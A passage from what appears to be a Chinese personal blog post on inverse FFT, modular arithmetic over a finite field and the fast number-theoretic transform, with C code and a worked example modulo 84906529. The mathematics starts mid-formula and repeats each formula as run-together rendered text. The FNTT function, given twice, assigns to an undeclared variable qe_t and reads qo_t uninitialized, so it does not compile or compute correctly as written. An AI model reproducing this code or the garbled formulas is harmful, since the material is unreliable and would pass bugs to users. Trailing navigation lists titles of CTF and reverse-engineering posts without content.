7}\\ \tau^{1 \cdot 0}& \tau^{1 \cdot 1}& \tau^{1 \cdot 2}& \tau^{1 \cdot 3}& \tau^{1 \cdot 4}& \tau^{1 \cdot 5}& \tau^{1 \cdot 6}& \tau^{1 \cdot 7}\\ \tau^{2 \cdot 0}& \tau^{2 \cdot 1}& \tau^{2 \cdot 2}& \tau^{2 \cdot 3}& \tau^{2 \cdot 4}& \tau^{2 \cdot 5}& \tau^{2 \cdot 6}& \tau^{2 \cdot 7}\\ \tau^{3 \cdot 0}& \tau^{3 \cdot 1}& \tau^{3 \cdot 2}& \tau^{3 \cdot 3}& \tau^{3 \cdot 4}& \tau^{3 \cdot 5}& \tau^{3 \cdot 6}& \tau^{3 \cdot 7}\\ \tau^{4 \cdot 0}& \tau^{4 \cdot 1}& \tau^{4 \cdot 2}& \tau^{4 \cdot 3}& \tau^{4 \cdot 4}& \tau^{4 \cdot 5}& \tau^{4 \cdot 6}& \tau^{4 \cdot 7}\\ \tau^{5 \cdot 0}& \tau^{5 \cdot 1}& \tau^{5 \cdot 2}& \tau^{5 \cdot 3}& \tau^{5 \cdot 4}& \tau^{5 \cdot 5}& \tau^{5 \cdot 6}& \tau^{5 \cdot 7}\\ \tau^{6 \cdot 0}& \tau^{6 \cdot 1}& \tau^{6 \cdot 2}& \tau^{6 \cdot 3}& \tau^{6 \cdot 4}& \tau^{6 \cdot 5}& \tau^{6 \cdot 6}& \tau^{6 \cdot 7}\\ \tau^{7 \cdot 0}& \tau^{7 \cdot 1}& \tau^{7 \cdot 2}& \tau^{7 \cdot 3}& \tau^{7 \cdot 4}& \tau^{7 \cdot 5}& \tau^{7 \cdot 6}& \tau^{7 \cdot 7} \end{bmatrix} \begin{bmatrix} f(\omega^0) \\ f(\omega^1) \\ f(\omega^2) \\ f(\omega^3) \\ f(\omega^4) \\ f(\omega^5) \\ f(\omega^6) \\ f(\omega^7) \end{bmatrix}a0a1a2a3a4a5a6a7=n1τ0⋅0τ1⋅0τ2⋅0τ3⋅0τ4⋅0τ5⋅0τ6⋅0τ7⋅0τ0⋅1τ1⋅1τ2⋅1τ3⋅1τ4⋅1τ5⋅1τ6⋅1τ7⋅1τ0⋅2τ1⋅2τ2⋅2τ3⋅2τ4⋅2τ5⋅2τ6⋅2τ7⋅2τ0⋅3τ1⋅3τ2⋅3τ3⋅3τ4⋅3τ5⋅3τ6⋅3τ7⋅3τ0⋅4τ1⋅4τ2⋅4τ3⋅4τ4⋅4τ5⋅4τ6⋅4τ7⋅4τ0⋅5τ1⋅5τ2⋅5τ3⋅5τ4⋅5τ5⋅5τ6⋅5τ7⋅5τ0⋅6τ1⋅6τ2⋅6τ3⋅6τ4⋅6τ5⋅6τ6⋅6τ7⋅6τ0⋅7τ1⋅7τ2⋅7τ3⋅7τ4⋅7τ5⋅7τ6⋅7τ7⋅7f(ω0)f(ω1)f(ω2)f(ω3)f(ω4)f(ω5)f(ω6)f(ω7)

由于

ωτ=1\omega \tau=1ωτ=1

这意味着先前得出的FFT逻辑完全可以把所有的ω\omegaω换成τ\tauτ便可完成IFFT的过程，再一次实现函数复用

现在剩余一个问题，ω\omegaω是一个复数，在nnn不大的情况下计算误差不大，但是当nnn很大，计算误差和三角函数计算时间都是问题，于是要引入有限域

有限域(finite field)#

一点儿没学明白，查资料也写不出来多少QAQQAQQAQ

大致运算：

如在mod 5\mathrm{mod} \space 5 mod 5下，

1+1=22+4=13−4=43×4=23×2=13−1=24/3=4×2=33×3=42×2=44=2,31+1 = 2\\ 2+4 = 1\\ 3-4 = 4\\ 3\times 4 = 2\\ 3\times 2 = 1\\ 3^{-1} = 2\\ 4/3 = 4\times 2 = 3\\ 3\times 3 = 4\\ 2\times 2 = 4\\ \sqrt{4} = 2,31+1=22+4=13−4=43×4=23×2=13−1=24/3=4×2=33×3=42×2=44=2,3

根据此类性质，可以写出C函数如下

1
typedef long long int lli;
2
lli ZmodAdd(lli a, lli b){
3
    a += b;
4
    return (a<MOD_P) ? a : (a-MOD_P);
5
}
6

7
lli ZmodSub(lli a, lli b){
8
    a -= b;
9
    return (a>=0) ? a : (a+MOD_P);
10
}
11

12
lli ZmodMul(lli a, lli b){
13
    return (a * b) % MOD_P;
14
}
15

16
lli ZmodInv(lli a) {
17
    //根据费马小定理，乘法逆元唯一存在
18
    //利用扩展欧几里得算法求乘法逆元
19
    lli x,y;
20
    gcdext(a,MOD_P,&x,&y);
21
    //x mod p 即为所求逆元，x的范围是正负p/2
22
    return (x>=0) ? x : (x+MOD_P);
23
}
24

25
lli ZmodDiv(lli a, lli b) {
26
    return (a * ZmodInv(b)) % MOD_P;
27
}
28

29
lli gcdext(lli a,lli b,lli *x,lli *y){  //扩展欧几里得算法，网上抄的
30
    if(b==0){
31
        *x=1;
32
        *y=0;
33
        return a;
34
    }
35
    lli ret=gcdext(b,a%b,x,y);
36
    lli t=*x;
37
    *x=*y;
38
    *y=t-a/b*(*y);
39
    return ret;
40
}

展开收起

快速数论变换(fast number-theoretic transform,FNTT)#

先前FFT中选取ω=e2iπn\omega = e^{\frac{2i\pi}{n}}ω=en2iπ的性质主要有三：

所有计算除了系数aia_iai只需要计算ωk\omega ^{k}ωk即可，便于计算
ωk+n2=−ωk,ωn=1\omega ^{k+\frac{n}{2}}=-\omega ^{k},\omega^{n}=1ωk+2n=−ωk,ωn=1
ωk,k∈Zn\omega ^{k},k\in Z_{n}ωk,k∈Zn各不相同

而在一个有限域内，也同样有数可以满足这两条特性，如p=84906529,ω=213016,n=16p=84906529,\omega =213016,n=16p=84906529,ω=213016,n=16，ωk(modp)\omega^k \pmod{p} ωk(modp)的各值如下

ω0≡1ω1≡213016ω2≡35729770ω3≡76333289ω4≡17240421ω5≡23420899ω6≡3483873ω7≡37627508ω8≡84906528≡−1ω9≡84693513ω10≡49176759ω11≡8573240ω12≡67666108ω13≡61485630ω14≡81422656ω15≡47279021ω16≡1\omega^{0}\equiv 1\\ \omega^{1}\equiv 213016\\ \omega^{2}\equiv 35729770\\ \omega^{3}\equiv 76333289\\ \omega^{4}\equiv 17240421\\ \omega^{5}\equiv 23420899\\ \omega^{6}\equiv 3483873\\ \omega^{7}\equiv 37627508\\ \omega^{8}\equiv 84906528\equiv -1\\ \omega^{9}\equiv 84693513\\ \omega^{10}\equiv 49176759\\ \omega^{11}\equiv 8573240\\ \omega^{12}\equiv 67666108\\ \omega^{13}\equiv 61485630\\ \omega^{14}\equiv 81422656\\ \omega^{15}\equiv 47279021\\ \omega^{16}\equiv 1ω0≡1ω1≡213016ω2≡35729770ω3≡76333289ω4≡17240421ω5≡23420899ω6≡3483873ω7≡37627508ω8≡84906528≡−1ω9≡84693513ω10≡49176759ω11≡8573240ω12≡67666108ω13≡61485630ω14≡81422656ω15≡47279021ω16≡1

这样的ω\omegaω也同样符合先前的性质，因此不妨把FFT中的所有运算都转为模ppp数域下的运算，ω\omegaω换成整数的ω\omegaω

1
int FNTT(int *pa,int w,List a,int *f){ //FNTT快速数论变换（基于FFT快速傅里叶变换）
2
    if (a.n == 1){
3
        f[0] = pa[a.begin];
4
        return 0;
5
    }
6
    int nOver2 = a.n>>1;
7
    int stepBy2 = a.step<<1;
8
    List pe = createList(a.begin, stepBy2, nOver2);
9
    List po = createList(a.begin+a.step, stepBy2, nOver2);
10
    int qe[nOver2];
11
    int qo[nOver2];
12
    FNTT(pa, ZmodMul(w,w), pe, qe);
13
    FNTT(pa, ZmodMul(w,w), po, qo);
14
    int t = 1;
15
    int qo_t;
16
    for (int j=0; j<nOver2; j++){
17
        qe_t = ZmodMul(qo[j],t);
18
        f[j] = ZmodAdd(qe[j] , qo_t);
19
        f[j+nOver2] = ZmodSub(qe[j] , qo_t);
20
        t = ZmodMul(w,t);
21
    }
22
    return 0;
23
}

展开收起

那么如何选择p,ωp,\omegap,ω？

对于质数p=q2m+1p = q2^m+1p=q2m+1，原根ggg满足gq2k≡1(modp)g^{q2^k} \equiv 1\pmod{p}gq2k≡1(modp)，将gn≡gq(modp)g_n \equiv g^q \pmod{p}gn≡gq(modp)看作ω\omegaω的等价，则其满足相似的性质

p.s:数论知识好多，不会证明;w;

综上，写成完整C语言代码如下

1
#include <stdio.h>
2
#define MOD_P 84906529
3
typedef long long int lli;
4

5
typedef struct {
6
    int begin;
7
    int step;
8
    int n;
9
}List;
10
List createList(int begin,int step,int n) {
11
    List newList;
12
    newList.begin = begin;
13
    newList.step = step;
14
    newList.n = n;
15
    return newList;
16
}
17

18
//Zmod(p)数域计算（c语言好像没有重载运算符，所以表达式看起来会比较麻烦~）
19
lli ZmodAdd(lli a, lli b);
20
lli ZmodSub(lli a, lli b);
21
lli ZmodMul(lli a, lli b);
22
lli ZmodInv(lli a);
23
lli ZmodDiv(lli a, lli b);
24
lli gcdext(lli a,lli b,lli *x,lli *y);  //扩展欧几里得算法
25

26
int FNTT(int *pa,int w,List a,int *f){ //FNTT快速数论变换（基于FFT快速傅里叶变换）
27
    if (a.n == 1){
28
        f[0] = pa[a.begin];
29
        return 0;
30
    }
31
    int nOver2 = a.n>>1;
32
    int stepBy2 = a.step<<1;
33
    List pe = createList(a.begin, stepBy2, nOver2);
34
    List po = createList(a.begin+a.step, stepBy2, nOver2);
35
    int qe[nOver2];
36
    int qo[nOver2];
37
    FNTT(pa, ZmodMul(w,w), pe, qe);
38
    FNTT(pa, ZmodMul(w,w), po, qo);
39
    int t = 1;
40
    int qo_t;
41
    for (int j=0; j<nOver2; j++){
42
        qe_t = ZmodMul(qo[j],t);
43
        f[j] = ZmodAdd(qe[j] , qo_t);
44
        f[j+nOver2] = ZmodSub(qe[j] , qo_t);
45
        t = ZmodMul(w,t);
46
    }
47
    return 0;
48
}
49

50

51
int main() {
52
    int w = 213016;
53
    int t = ZmodInv(w);
54
    int f[16]     = {5,4,3,2,1,0,0,0,0,0,0,0,0,0,0,0};
55
    int g[16]     = {1,2,3,4,5,0,0,0,0,0,0,0,0,0,0,0};
56
    int ntt_f[16] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
57
    int ntt_g[16] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
58
    int h[16]     = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
59
    int r[16]     = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
60
    List start = createList(0,1,16);
61
    FNTT(f,w,start,ntt_f);
62
    FNTT(g,w,start,ntt_g);
63
    for (int i=0; i<16; i++){
64
        h[i] = ZmodMul(ntt_f[i],ntt_g[i]);
65
    }
66
    FNTT(h,t,start,r);
67
    for (int i=0; i<16; i++){
68
        r[i] = ZmodDiv(r[i],16);
69
    }
70
    for (int i=0; i<16; i++){
71
        printf("%d ",r[i]);
72
    }
73
    return 0;
74
}
75

76
lli ZmodAdd(lli a, lli b){
77
    a += b;
78
    return (a<MOD_P) ? a : (a-MOD_P);
79
}
80

81
lli ZmodSub(lli a, lli b){
82
    a -= b;
83
    return (a>=0) ? a : (a+MOD_P);
84
}
85

86
lli ZmodMul(lli a, lli b){
87
    return (a * b) % MOD_P;
88
}
89

90
lli ZmodInv(lli a) {
91
    //根据费马小定理，乘法逆元唯一存在
92
    //利用扩展欧几里得算法求乘法逆元
93
    lli x,y;
94
    gcdext(a,MOD_P,&x,&y);
95
    //x mod p 即为所求逆元，x的范围是正负p/2
96
    return (x>=0) ? x : (x+MOD_P);
97
}
98

99
lli ZmodDiv(lli a, lli b) {
100
    return (a * ZmodInv(b)) % MOD_P;
101
}
102

103
lli gcdext(lli a,lli b,lli *x,lli *y){  //扩展欧几里得算法，网上抄的
104
    if(b==0){
105
        *x=1;
106
        *y=0;
107
        return a;
108
    }
109
    lli ret=gcdext(b,a%b,x,y);
110
    lli t=*x;
111
    *x=*y;
112
    *y=t-a/b*(*y);
113
    return ret;
114
}

展开收起

参考学习#

超硬核FFT快速傅里叶变换讲解，高效进行高精度乘法运算！ - Bilibili

最讨厌做算法题的时候出现浮点数了，有什么方法可以避免？斐波那契数列和FFT均可适用！ - Bilibili

ChatGPT

快速数论变换 - OI wiki

Finite field - Wikipedia

离散傅里叶变换矩阵 - Wikipedia

奇函数与偶函数 - Wikipedia

MetaMiku

20260502 大连 THO 随记

入场#

STG 接力#

中场休息#

Mini Live#

则赛#

晚饭#

整理#

20260314 系统安全赛

auth#

thymeleaf#

PRNG 逆推 admin 口令#

SpEL 模板注入 RCE#

SUID 提权读 /flag#

RSA#

level 1#

level 2#

level 3#

AI Agent 使用感想#

东方夜雀食堂-Mod-制作笔记

前言#

安装 BepInEx#

hello world#

获取字体列表#

想到哪分析到哪#

研究 NPC 生命周期#

启用 EnableDebugCosole#

Hook#

延迟 hook#

Patch-1#

忽略异常#

分析#

强制调用#

绕过#

Patch-2#

LaunchMode#

Characters#

角色生成#

添加碰撞体#

屏蔽部分碰撞#

添加高度处理器#

Swarm Sync 逆向笔记

更新日志#

资源解包#

代码逆向#

动调抓包#

局域网抓包#

Project Sekai 逆向笔记

Project SEKAI 逆向笔记 持续更新#

更新日志#

第一章-学习与试错#

静态解包#

动态分析#

cn-3.4.0 提取 global-metadata.dat (成功)#

游戏安装包(失败)#

/proc/[PID]/maps 提取 libcamera-metadata.dat (失败)#

内存搜索 AF 1B B1 FA (失败)#

内存搜索特殊字段(成功)#

静态分析 libil2cpp.so (失败)#

jp-6.4.0 提取 global-metadata.dat#

获取 AES key (成功)#

API 分析#

MITM#

API URLs#

分析加密#

[整活] 十连十彩 (成功)#

分析 JWT (基本完成)#

注册新账号#

[整活]强制 All Perfect#

[整活] 自定义名片预览图#

一点碎碎念#

修改 API-url#

防护意见#

PS 编写#

第三方工具#

Sekai Viewer#

Moe Sekai#

SekaiTools#

注入博客(以 hexo 为例)#

Project SEKAI 逆向笔记持续更新#

`cn-3.4.0` 提取 `global-metadata.dat` (成功)#

`/proc/[PID]/maps` 提取 `libcamera-metadata.dat` (失败)#

内存搜索 `AF 1B B1 FA` (失败)#

静态分析 `libil2cpp.so` (失败)#

jp-6.4.0 提取 `global-metadata.dat`#

jp-6.5.5 提取 `global-metadata.dat` 和 `libil2cpp.so`#

12.15 ciscn&“长城杯”铁人三项部分题解#